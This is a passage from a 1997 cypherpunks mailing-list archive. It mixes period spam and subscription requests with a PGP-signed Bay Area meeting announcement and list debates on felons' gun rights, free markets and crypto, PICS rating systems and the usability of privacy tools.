From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wgrip@arcturus.net
Date: Mon, 9 Jun 1997 17:17:08 -0700 (PDT)
To: get@noticed.now
Subject: Get your site Noticed!
Message-ID: <19970380054TAA0856@pwrnet.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

Do you have a webpage that's just sitting there?

Need more hits and visibility?  Now you can promote your pages

like the pros!  The WebSeek Promotion Spider puts your

pages on the TOP of the Search Engines! Get your FREE Shareware 

Version today and see what this powerful program can do for your site!!

For more info please respond to our Autoresponder at:  
netnow@arcturus.net  and say "Promo-Now"

Resellers Needed! 

thanks,

Web Promotions!
~~~~~~~~~~~~~~~~~~~~~~~







Note: You will not receive another message BUT we do utilize
the Remove List at: remove@cyberpromo.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Mon, 9 Jun 1997 21:28:58 -0700 (PDT)
To: cypherpunks@toad.com
Subject: ZDNet Announces Computer Magazine Archive!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.29700.06091997200011.109755@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain


----------------------------------------------------------------
   ZDNET ANNOUNCEMENT        6/10/97
----------------------------------------------------------------

Introducing Computer Magazine Archive:
Subscribe today--FREE until June 30th!

Need an easy way to track the latest computer industry trends, 
research your competitors, follow the latest IPO's or research 
just about anything related to high-tech? 

Computer Magazine Archive, a new service from ZDNet, puts 
over 55,000 articles from 70 of the most popular computer 
publications at your fingertips.  You won't need to search through
piles of old publications or your overstuffed clipping file for 
information anymore.  Simply log on to http://cma.zdnet.com for 
a faster, more effective way to access the information you need.

----SPECIAL LIMITED-TIME OFFER----

Similar information databases typically sell for thousands of 
dollars a year. With Computer Magazine Archive, you can access 
the same information for only $4.95 a month! And as a special 
introductory offer, it's FREE until June 30th when you sign up
today.  Try it risk-free and if you're not completely satisfied,
simply cancel before June 30th and pay absolutely nothing. 
 
Log on to http://cma.zdnet.com to test-drive Computer Magazine 
Archive today. It's the most comprehensive database of computing 
articles you'll find online!

Computer Magazine Archive:  http://cma.zdnet.com

________________________________________________________________     

ZDNet Announcements are periodic notices of new features,
special events and free offers available to members of ZDNet.

--To subscribe to ZDNet Announcements, please send mail to:
announce-on@lists.zdnet.com       

You can leave the subject and body blank.       

--To unsubscribe to ZDNet Announcements, please send mail to:
announce-off@lists.zdnet.com      

You can leave the subject and body blank.   
________________________________________________________________

Powered by Mercury Mail: http://www.merc.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dinesh Mahtani (Dino)" <mahtani@vaxvmsx.babson.edu>
Date: Mon, 9 Jun 1997 10:01:02 -0700 (PDT)
To: Cryptography List <ietf-smime@imc.org
Subject: subscribe
Message-ID: <9706091700.AC28932@mozart.inet.co.th>
MIME-Version: 1.0
Content-Type: text/plain


subscribe mahtani@vaxvmsx.babson.edu
 _______________________________________________________________
|								|
|      TEMPORARY EMAIL ADDRESS: mahtani@vaxvmsx.babson.edu	|
|_______________________________________________________________|
 _______________________________________________________________
|								|
| Please note that our company will be changing our Internet	|
| Service Provider in the very near future.  I may be unable 	|
| to view messages sent to mahtani@mozart.inet.co.th.  To 	|
| avoid any possible problems please update your address 	|
| books and/or send carbon copies of all correspondance to my 	|
| old school address during this transition. 			|
|_______________________________________________________________|
 _______________________________________________________________
|								|
|      TEMPORARY EMAIL ADDRESS: mahtani@vaxvmsx.babson.edu	|
|_______________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ijmkkj@micro-net.com
Date: Mon, 9 Jun 1997 22:50:38 -0700 (PDT)
To: shox@usa.net
Subject: Automotive Products - Shocks, Struts, Suspensions
Message-ID: <199706100545.BAA25905@candy.micro-net.com>
MIME-Version: 1.0
Content-Type: text/plain


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Your email address was acquired during a targeted search
of the Web for those we believed would be interested in
the following.  If this message reaches you in error, simply
hit reply and put the word "remove" by itself in the subject
line for immediate removal.
//////////////////////////////////////////////////////////////////////////////

Come visit http://www.shox.com, the home page of RD Enterprises, the nation's 
largest wholesale and retail distributor of shock absorbers, springs, struts, sway 
bars, strut tower braces and suspension packages for street high performance, 
autocross, race, and quality luxury motorcars...including suspension set-ups for 
pick-up trucks, sport utility vehicles (SUV's), motorhomes, kit cars, weekend slalom, 
and full coil over race cars.

If you are interested in a mutual link, contact linx@shox.com for a banner swap 
and/or mutual link.  Thank you for your time!

sales@shox.com

http://www.shox.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: erict@iconmedialab.se (Eric THunfors)
Date: Tue, 10 Jun 1997 00:20:31 -0700 (PDT)
To: cypherpunks-announce@toad.com
Subject: No Subject
Message-ID: <v02140b01afc2bd9294e6@[193.14.104.150]>
MIME-Version: 1.0
Content-Type: text/plain


UNSUBSCRIBE cypherpunks

_____________
ännu en sån där trevlig signatur rad
_____________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Giggles <tmoore48@ix.netcom.com>
Date: Wed, 11 Jun 1997 18:52:33 -0700 (PDT)
To: cypherpunks-announce@toad.com
Subject: unsubscribe tmoore48@ix.netcom.com
Message-ID: <339D71E2.545E@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


unsubscribe tmoore48@ix.netcom.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 11 Jun 1997 17:46:52 -0700 (PDT)
To: cypherpunks-announce@toad.com
Subject: BAY AREA CYPHERPUNKS, JUNE 14, AT PGP Inc. IN SAN MATEO
Message-ID: <3.0.1.32.19970610201741.0075aec8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


      Cypherpunks June 97 Physical Meeting Announcement
      (SF Bay Area, Northern California chapter)

           Date: 14 June 1997 (second Saturday as usual) 
           Time: 12pm - 4pm 
           Host: Pretty Good Privacy, Inc. 
           Contact: Dave Del Torto - 415.596.1781 voice 

Agenda for 14 June 97 (subject to slight variations):

1.Angelos Keromytis & Hugh Daniel on their Linux IPSEC work: 
	Hot news from the recent IPSEC interoperability bake-off in Michigan

2.PGP 5.0 Source Code Release & Public Review: The first release of *all* 
	final PGP 5.0 source code to the People! PGP engineers will be
	present to discuss technical details and answer specific questions. 
	A number of copies will be available (free) to attendees who wish 
	to review the cryptography code (note: we recommend that you
      bring a box or bag, as it's 14 volumes and nearly 7,000 pages). 

3.HIP97 Trip Planning Committee: A group from California is planning on
	attending the 
	     Hacking in Progress '97 
	event sponsored by XS4ALL in the Netherlands (8/9/10 Aug). 
	This event is followed by the IETF meeting in Munich, and some will 
	continue on. We'll discuss our cooperative travel plans. 
	Cf. N.B.: Contact ASAP for flight info as flights are being booked 
	up rapidly (high tourist season). 
		[Editors Note:  _High_ tourists in Amsterdam??]

4. Ian Goldberg's Cool Canadian Crypto Software for Pilot Organizers
	If somebody from Berkeley can give Ian a ride,
	he'll demo the crypto libraries and applications he wrote
	while out of the US.

PGP Building Access:

This is an Open Meeting on US Soil and it is free for anyone to attend. 

      There is a minor building security formality due to the facilities
	being in a bank building:  anytime after 12 noon, approach the 
	Bayview Building's Information window (in the plaza, see below for
	directions), and ask the Guard on Duty to let you up to the 
	2nd Floor for the Cypherpunks meeting (use the passphrase 
	"cypherpunks release code"). If you have any difficulty 
	(eg. if the guard is on a break), simply call me at 415.730.3583 
	and I'll let you in. 

      You can arrive at any time during the scheduled meeting hours, 
	though earlier is better if you want to hear the interesting stuff. 


Directions to PGP:

      Pretty Good Privacy's HQ is located at: 

      2121 South El Camino Real 
      9th Floor - (the meeting is on the 2nd Floor) 
      San Mateo CA 94403, USA 

                         Directions available here 
			http://www.pgp.com/pgpcorp/contactpgp.cgi#head
                                    or 
  follow DDT's Directions to PGP's HQ in San Mateo (fossil fuel version): 


                                    MACRO 

      From the North Bay: 

      Hwy 101 South (use right lanes after passing SFO) 
      EXIT Fwy 92 West (move to center lane immediately after ramp)... 
      or 280 South (take Hwy 92 East toward the Bay)... 

      From the South Bay: 

      101 North - EXIT Fwy 92 West (toward Half Moon Bay)... 
      280 North - EXIT Hwy 92 East (toward the Bay)... 

      From the East Bay: 

      San Mateo Bridge (Hwy 92 West) 
      GO past Hwy 101... 



                                     MICRO 

      Once you're on Hwy 92 (from either 280 or 101) 

      EXIT at SOUTH El Camino Real 
	(From 101 it's about a mile, and there are two El Camino exits!)
	(From 280 it's about 7 miles, after you've come down a steep grade,
	levelled out and passed under an overpass) 
      Curve around and down under freeway: you're now travelling south on
	El Camino Real. 
      Get in the LEFT lane *immediately*. (Directly in front of you, 
	you can see the Bayview Building a couple of blocks away: 
	it's the only highrise around.) 
      LEFT on 20th (The very first traffic light after exit ramp. 
	Taco Bell is on left). 
      RIGHT turn at next stop sign (residential street: Palm). 
      PROCEED 1.5 blocks. (Parking Garage entrance at rear of Bayview 
	building is on your right.) 
      PARK on the 2nd level. 

                                     NANO 

      Once you've parked your vehicle in the Garage (it's free): 
      STAIRS (or Elevator) to the main level, step out and... 
      WALK WEST across the courtyard to the main (tallest) building. 
      PASS through the doorway in the stand-alone exterior "glass wall" 
	and approach the "Information" window (also the Guard Station) 
	on the north side of the building. 
      GET the guard's attention (preferably *not* by waving a firearm).
	Use the passphrase and you'll be admitted.  If the guard's on a 
	break, call me at 415.730.3583. 
      ELEVATOR to 2nd Floor. (The meeting room is on left side, slightly
	down the hall) 

      Public Transit

      For CalTrain, get off at the San Mateo station near the Bay Meadows
	horse racing track and head for the tallest building around with
	the huge "Bayview" sign on top. It's a short walk or cab ride. 

      By bus, take any line running on El Camino Real to the intersection
	of 20th in San Mateo and dismount. Look up: you're there. 



- ------------------
Announcement also available at http://www.pgp.com/newsroom/cpunk-info.cgi


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Version: 5.0 beta
Charset: noconv

iQBVAwUBM54YkvthU5e7emAFAQFF8AH+M0LItG6OfTn4h8BNF+51RLsuQHWq1TgY
IN+R3j+A7AJno7lUxP612Ctm5m/3V2dAa5HrScyCfm3KUiPDxOqozQ==
=gMPf
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: crime@tarsey.com
Date: Wed, 11 Jun 1997 00:50:13 -0700 (PDT)
To: You@Public.Com
Subject: ~ ~  SAVE YOUR LIFE - PROTECT YOUR PROPERTY !!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


~ ~  SAVE YOUR LIFE - PROTECT YOUR PROPERTY !!!

*** 15 ANTI-CRIME REPORTS - You Should Know About !

Special Offer - Order All 15 Reports and you will also
receive REPRINT RIGHTS... Yes - Reprint Rights $$$ !!!


Dear Friend,

Crime affects you, me, everyone - Young or Old - Rich or Poor.

Crime is a problem for the entire community, not problems for
the police alone.  The police are charged to prevent and suppress
crime and to solve crime once it occurs to the utmost of their ability. 

However, they are realistically aware that they can neither prevent 
all crime from occurring nor solve every crime that does occur.

To attain the greatest possible degree of safety you, me and every
other law abiding citizen needs to become aware of how the criminals 
traditionally do their "Dastardly" deeds and how you can "Minimize 
The Risk" of crime affecting you.

Knowledge is power and the 15 reports below will give you the
POWER YOU NEED to minimize crime that could someday affect
YOU or a LOVED ONE!

Please seriously consider purchasing the below reports.  The price is
so low that you really cannot afford not to be armed with the knowledge
you will receive by reading and re-reading these reports!

Report #1 -   How To Protect Your Home From Intruders.
Report #2 -   How To Protect Yourself On City Streets.
Report #3 -   How To Protect Your Valuables From Theft.
Report #4 -   How To Protect Yourself When Traveling.
Report #5 -   How To Guard Against Purse Snatchers.
Report #6 -   How To Protect Yourself From Armed Robbery.
Report #7 -   How To Protect Your From Pickpockets.
Report #8 -   How To Safeguard Against Rape.
Report #9 -   How Shoplifting Affects You and Your Family.
Report #10 -  How To Protect Your Cars, Bicycles and Motorcycles.
Report #11 -  How To Protect Your Home While Away.
Report #12 -  How To Burglar-Proof Your Doors.
Report #13 -  How To Burglar-Proof Your Windows.
Report #14 -  How To Select a Burglar Alarm.
Report #15 -  How To Reduce Crime In Your Neighborhood.

SPECIAL OFFER - Order All 15 Reports and you will also receive
Reprint Rights.

Reprint Rights, gives you the right (granted by us) to reproduce any
and all of these reports.

With Reprint Rights, you can photo copy and distribute these reports
to your family, friends, co-workers, teachers, etc.

When distributing these reports you may give them away for FREE or
you may charge for them.  Collect any amount of money you wish.  It's
your money and yours to keep!  We will never ask for any of it !!!

Two Ways You May Order The Above Reports:
1. You may order ALL 15 REPORTS with Unlimited Reproduction
    Rights for a total cost of only $12.00.  
2. You may purchase reports individually for $4.00 each.

Now IS THE TIME for you to "Minimize The Risk" of crime affecting 
YOU or a LOVED ONE!

Money Back Guarantee: If unsatisfied for any reason,  you get your
money back, period!  

Upon receiving your order, the Anti-Crime reports will promptly be
emailed to you.


TO ORDER:  Follow the instructions below:

You may pay by Check, Money Order, Cash, Visa or Mastercard.

FAX the form below to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

 - - - - - - - - - - - - - - - - - - -  O R D E R  F O R M  --  - - - - - - - - - - - - - - - - - - - - 

PLEASE PRINT ALL INFORMATION LEGIBLY TO SPEED UP YOUR ORDER

(1.)  [  ] Visa   [  ] Mastercard   [  ] Check   [  ] Money Order   [  ] Cash
(2.)  Credit Card Number:  (put one number on each line)

CC# __  __  __  __ - __  __  __  __ - __  __  __  __ - __  __  __  __
 
(3.)  Expiration Date:  [ __  __  /  __  __ ]  Month/Year      (anti-crime)

Email Address:__________________   Name:_____________________________

Address:_____________________________ City__________ ST_____  Zip_______

Ph.# w/ areacode:__________________ Signature (Required)_____________

***  You may purchase ALL 15 REPORTS with unlimited reproduction rights 
      for a total cost of only $12.00.
***  You may purchase reports individually for $4.00 each.

[   ]  Check here if ordering ALL 15 reports for the $12.00 Special.
 
[   ]  Check here if ordering reports individually and list by # below.

#__________  #__________  #_________  #_________  #_________


FAX the above form to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

*** Pay all orders in U.S. FUNDS or outside the U.S. send the currency equivalent. 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Be sure to INCLUDE YOUR EMAIL ADDRESS so we may fill your order A.S.A.P. !!! 

Best of Luck... we'll visit again. 

Kindest Personal  Regards, 

Douglas C. Parcells
Report Fulfillment Coordinator 

P.S.  Now IS THE TIME for you to "Minimize The Risk" of crime
affecting YOU or a LOVED ONE!  The best way to minimize the risk
of crime affecting you is by taking sensible precautions

02




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 40748258@tarsey.com
Date: Wed, 11 Jun 1997 05:21:51 -0700 (PDT)
To: Friend@public.com
Subject: SAVE YOUR LIFE - PROTECT YOUR PROPERTY!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


~ ~  SAVE YOUR LIFE - PROTECT YOUR PROPERTY !!!

*** 15 ANTI-CRIME REPORTS - You Should Know About !

Special Offer - Order All 15 Reports and you will also
receive REPRINT RIGHTS... Yes - Reprint Rights $$$ !!!


Dear Friend,

Crime affects you, me, everyone - Young or Old - Rich or Poor.

Crime is a problem for the entire community, not problems for
the police alone.  The police are charged to prevent and suppress
crime and to solve crime once it occurs to the utmost of their ability. 

However, they are realistically aware that they can neither prevent 
all crime from occurring nor solve every crime that does occur.

To attain the greatest possible degree of safety you, me and every
other law abiding citizen needs to become aware of how the criminals 
traditionally do their "Dastardly" deeds and how you can "Minimize 
The Risk" of crime affecting you.

Knowledge is power and the 15 reports below will give you the
POWER YOU NEED to minimize crime that could someday affect
YOU or a LOVED ONE!

Please seriously consider purchasing the below reports.  The price is
so low that you really cannot afford not to be armed with the knowledge
you will receive by reading and re-reading these reports!

Report #1 -   How To Protect Your Home From Intruders.
Report #2 -   How To Protect Yourself On City Streets.
Report #3 -   How To Protect Your Valuables From Theft.
Report #4 -   How To Protect Yourself When Traveling.
Report #5 -   How To Guard Against Purse Snatchers.
Report #6 -   How To Protect Yourself From Armed Robbery.
Report #7 -   How To Protect Your From Pickpockets.
Report #8 -   How To Safeguard Against Rape.
Report #9 -   How Shoplifting Affects You and Your Family.
Report #10 -  How To Protect Your Cars, Bicycles and Motorcycles.
Report #11 -  How To Protect Your Home While Away.
Report #12 -  How To Burglar-Proof Your Doors.
Report #13 -  How To Burglar-Proof Your Windows.
Report #14 -  How To Select a Burglar Alarm.
Report #15 -  How To Reduce Crime In Your Neighborhood.

SPECIAL OFFER - Order All 15 Reports and you will also receive
Reprint Rights.

Reprint Rights, gives you the right (granted by us) to reproduce any
and all of these reports.

With Reprint Rights, you can photo copy and distribute these reports
to your family, friends, co-workers, teachers, etc.

When distributing these reports you may give them away for FREE or
you may charge for them.  Collect any amount of money you wish.  It's
your money and yours to keep!  We will never ask for any of it !!!

Two Ways You May Order The Above Reports:
1. You may order ALL 15 REPORTS with Unlimited Reproduction
    Rights for a total cost of only $12.00.  
2. You may purchase reports individually for $4.00 each.

Now IS THE TIME for you to "Minimize The Risk" of crime affecting 
YOU or a LOVED ONE!

Money Back Guarantee: If unsatisfied for any reason,  you get your
money back, period!  

Upon receiving your order, the Anti-Crime reports will promptly be
emailed to you.

TO ORDER:  Follow the instructions below:

You may pay by Check, Money Order, Cash, Visa or Mastercard.

FAX the form below to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

 - - - - - - - - - - - - - - - - - - -  O R D E R  F O R M  --  - - - - - - - - - - - - - - - - - - - - 

PLEASE PRINT ALL INFORMATION LEGIBLY TO SPEED UP YOUR ORDER

(1.)  [  ] Visa   [  ] Mastercard   [  ] Check   [  ] Money Order   [  ] Cash
(2.)  Credit Card Number:  (put one number on each line)

CC# __  __  __  __ - __  __  __  __ - __  __  __  __ - __  __  __  __
 
(3.)  Expiration Date:  [ __  __  /  __  __ ]  Month/Year      (anti-crime)

Email Address:__________________   Name:_____________________________

Address:_____________________________ City__________ ST_____  Zip_______

Ph.# w/ areacode:__________________ Signature (Required)_____________

***  You may purchase ALL 15 REPORTS with unlimited reproduction rights 
      for a total cost of only $12.00.
***  You may purchase reports individually for $4.00 each.

[   ]  Check here if ordering ALL 15 reports for the $12.00 Special.
 
[   ]  Check here if ordering reports individually and list by # below.

#__________  #__________  #_________  #_________  #_________


FAX the above form to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

*** Pay all orders in U.S. FUNDS or outside the U.S. send the currency equivalent. 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Be sure to INCLUDE YOUR EMAIL ADDRESS so we may fill your order A.S.A.P. !!! 

Best of Luck... we'll visit again. 

Kindest Personal  Regards, 

Douglas C. Parcells
Report Fulfillment Coordinator 

P.S.  Now IS THE TIME for you to "Minimize The Risk" of crime
affecting YOU or a LOVED ONE!  The best way to minimize the risk
of crime affecting you is by taking sensible precautions

c2




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ballman@t-1net.com
Date: Mon, 16 Jun 1997 23:03:30 -0700 (PDT)
To: buy.balls@lower.prices
Subject: About Golf Balls
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





=====> WE WANT YOU TO KNOW MORE ABOUT GOLF BALLS <=======

Lets Take Air For Example....

All of us know how tough it is to hit a good shot in windy conditions.
We assume therefore that air is just another natural element we must
out wit in order to score well.  In reality, AIR is what makes it
possible for us the hit the ball as far as we do.  The SPIN we impart
on a ball actually gives the ball lift, much like the wing on an
aircraft imparts lift.  This lift makes it possible for the ball to
stay airborne longer, enabling it to travel further.

In a vacuum, the average 250 yard drive would only travel about 180
yards.  A winged aircraft would not fly.

Air is your Friend....::))

Now here's one for you......Does a ball fly farther on a hot dry day
or cold wet day??....How about a hot humid day or a cold dry day ?

Let me know what you think.

Golfballs Unlimited USA reclaims balls from over 130 courses in 13 
states.  We stock over 50 varieties of balls.  If you're an average
player, by the time you have played 3 holes with a new ball, you are 
playing with a ball that's in much worse condition than our premium balls.

We offer the highest possible quality recycled balls available...at
direct pricing....HUGE SAVINGS over new balls.  Yes we have BALATAS.

Customer Satisfaction Is Absolutely Guaranteed.

If you would like a free catalog, just send me an email.

Click Here For Free Catalog

Regards,

Dana Jones
The Ballman

ps..I have worked carefully to see that this educational information goes only to
those who may have an interest. If you do not, please send me back message
with remove as the subject.  I will not mail you again.

Our Mission:  To Be The Best (As Determined By Our Customers)
Suppliers of Quality Recycled Golf Balls

BUY SELL TRADE






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 1 Jul 1997 19:58:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <Pine.BSF.3.91.970630165630.24139F-100000@mcfeely.bsfs.org>
Message-ID: <19970701044410.04530@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jun 30, 1997 at 06:37:56PM -0700, Lucky Green wrote:
> The idea is that the criminal has received their punishment once released 
> from prison. 

OTOH, there is no necessity at all to think of it that way.  
Prison isn't the only punishment -- there is nothing in the 
Constitution or anywhere else that says that.  (Certainly, not being 
able to own a gun is in no meaningful sense a "cruel or unusual" 
punishment.)  A court that can impose a life sentence can impose a 
lifetime ban on certain activities -- there is nothing at all 
inconsistent here.

Another fallacy is to think that prison is a temporary phenomenon. 
"Been to prison" is a permanent state -- it marks you for life. 
"Convicted Felon" is a permanent legal condition, a title with
permanent social effects.  

You are probaboy thinking that after a person has "paid their debt to
society" things are just like they were before.  It's a nice theory,
but it's false.  It's not like money.  Your "debt to society" is not
paid off by a prison term.

> Any further infringements on the person's rights are 
> unacceptable. That includes the person's Natural Right to acquire 
> fully-automaticweapons, should he so desire.  [BTW, the nature of the crime 
> committed is irrelevant]. 

"Let the punishment fit the crime".  The crime is *always* relevant to
the punishment, the punishment is *always* a function of the crime.  It
is incoherent and unjust to think otherwise.  

A punishment can certainly infringe your "Natural Rights" -- you can
be executed, after all. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 1 Jul 1997 22:41:42 +0800
To: cypherpunks@toad.com
Subject: Novell's Eric Schmidt on rating systems
Message-ID: <Pine.GSO.3.95.970701072727.2857G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 1 Jul 1997 07:27:11 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Novell's Eric Schmidt on rating systems

So I'm logged in from the library of the National Press Club (my
membership dues are finally going for something useful), where I just came
from a breakfast meeting with Eric Schmidt, the CEO of Novell. 

We talked Net-politics, from copyright to crypto to Net-taxes. But I also
pressed him on the problems of PICS-based rating systems like RSACi,
noting that other governments have started to make them mandatory -- in a
voluntary sort of way. 

"In the U.S., we're going to have all sorts of folks saying we need to
have a mandatory rating system for web content.. The industry has pushed
very hard for individuals to control things, not governments," he said. 

What about PICS making it easier for other governments to censor the Net? 
"We are not the other government's keeper... The beauty of the PICS stuff
is that it's a framework for having the debate," he said.

Next stop: the White House, where I expect this will come up again this
afternon...

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 1 Jul 1997 20:48:50 +0800
To: cypherpunks@toad.com
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <19970701044410.04530@bywater.songbird.com>
Message-ID: <w7w69D15w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:
> "Convicted Felon" is a permanent legal condition, a title with
> permanent social effects.

Weren't all felonies capital crimes initially?

A hungry little boy convicted of stealing a loaf of bread would hang.

Some time later the felons were given a choice of going to the gallows
or to Australia.

A convicted felon freed after a jail sentence is a fairly recent invention.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 1 Jul 1997 23:35:49 +0800
To: cypherpunks@Algebra.COM
Subject: Free markets and crypto
In-Reply-To: <3.0.32.19691231160000.006d0374@best.com>
Message-ID: <v03102800afded16f21ee@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:58 PM -0700 6/30/97, Declan McCullagh wrote:
>Ah, but what is a market except voluntary transactions between people?
>What is good for the market is good for the people.
>

I certainly agree with this, if the proper interpretations of terms are made.

Unfortunately, there is a growing distinction being made between "voluntary
transactions" of _people_ and of _corporations_.

(The most stunning example of this, as Declan of course knows, being the
"Title 7" stuff in the Civil Rights Act, which takes away a person's right
to associtate with persons with whom he wishes to associate--he can't
choose to hire only Chinese, or no cripples, or only Mormons, and so on.)

And in the crypto debate, the term "market" has mostly been interpreted by
people to mean: Netscape, Microsoft, PGP, RSADSI, C2net, Verisign, etc.

I don't believe corporations have any more rights--or any more
restrictions--than individuals do. So in this sense I agree with Declan's
point. But my view is in a minority.

Thus, care is warranted when discussing "market solutions."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Wed, 2 Jul 1997 00:14:28 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Marc Andreessen on encryption and CDA
Message-ID: <3.0.32.19970701084404.006d101c@best.com>
MIME-Version: 1.0
Content-Type: text/plain



I suppose that's why US displays the greatest income disparity between rich
and poor of
any of the industrialized nations?   Why some 10 or 20 billionaires
collectively own more
wealth than some 20% of the world's population? Or were you being sarcastic?

At 07:58 PM 6/30/97 -0700, Declan McCullagh wrote:
>Ah, but what is a market except voluntary transactions between people?
>What is good for the market is good for the people.
>
>-Declan
>
>On Mon, 30 Jun 1997 geeman@best.com wrote:
>
>> My biggest problem is when the pundits (and by extension, those that punt
>> to them)
>> frame this entire debate in terms of the Market.  To do so is to argue that
>> only solutions
>> that are good for The Market are good solutions; that when a particular
>> policy is market-agnostic
>> or market-negative, even though it may be good policy for People (yes,
>> remember them ???) it is irrelevant or
>> bad.  This debate is NOT about the Worldwide Encryption Market!
>> 
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 1 Jul 1997 11:53:49 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: mailing list
In-Reply-To: <199706282214.PAA09700@fat.doobie.com>
Message-ID: <Pine.LNX.3.93.970701092907.241J-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 28 Jun 1997, Huge Cajones Remailer wrote:

[...]

> Why the fuck are there so many requests from aol ?
> thats eerie if you ask me.

There are two possable resons,

a) A deliberate campain to undermine this list.

b) Someone in one of the Aol chat rooms told everyone how <deep sarcusum>
k00l </deep sarcusum> this mailing list is.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Wed, 2 Jul 1997 00:56:13 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Has your privacy been invaded? Protected? Both?
Message-ID: <3.0.32.19691231160000.006ac2d4@best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:46 PM 6/30/97 -0400, you wrote:
>
>We hear a lot of steamy rhetoric about privacy and the information age, but
>few real-world examples. I'm working on a story now for Time about just
>this: what's happening to individual privacy today.

I assmue you will protect the anonymity of any contributors even while
sharing your generous payment with them!  ;)

>
>Does the Net make us more exposed -- DejaNews and 411-type databases -- or
>does it provide us with more privacy through tools like anonymous remailers
>and pseudonymous identities? 

As a reader of cpunks the following should be obvious: the access to
information from 411-etc. is simple and accessible to anyone who can type in
a browser!  On the other hand, remailers and nym servers are still solely the
purview of propeller-heads.  The remailer pages I have seen and tried to use
are unreliable - and to use PGP remailers requires a level of PGP-ability
that the average Joe won't invest in.  

Most people have Work to do, and cannot invest in the time to figure out how
to use software.  If we want to see pervasive use of privacy-preserving
technologies then developers must realize this and develop for the Mass
Market.  PGP 5, PGPMail are certainly helpful and not enough.  What I am
concerned about is that in the absence of easy-to-use (that means
no-effort-to-use) privacy software, the average Joe will rely on whatever is
there for him: and in the limit this will mean whatever infrastructure the
Powers-that-be want put in place for him, and not one that preserves his
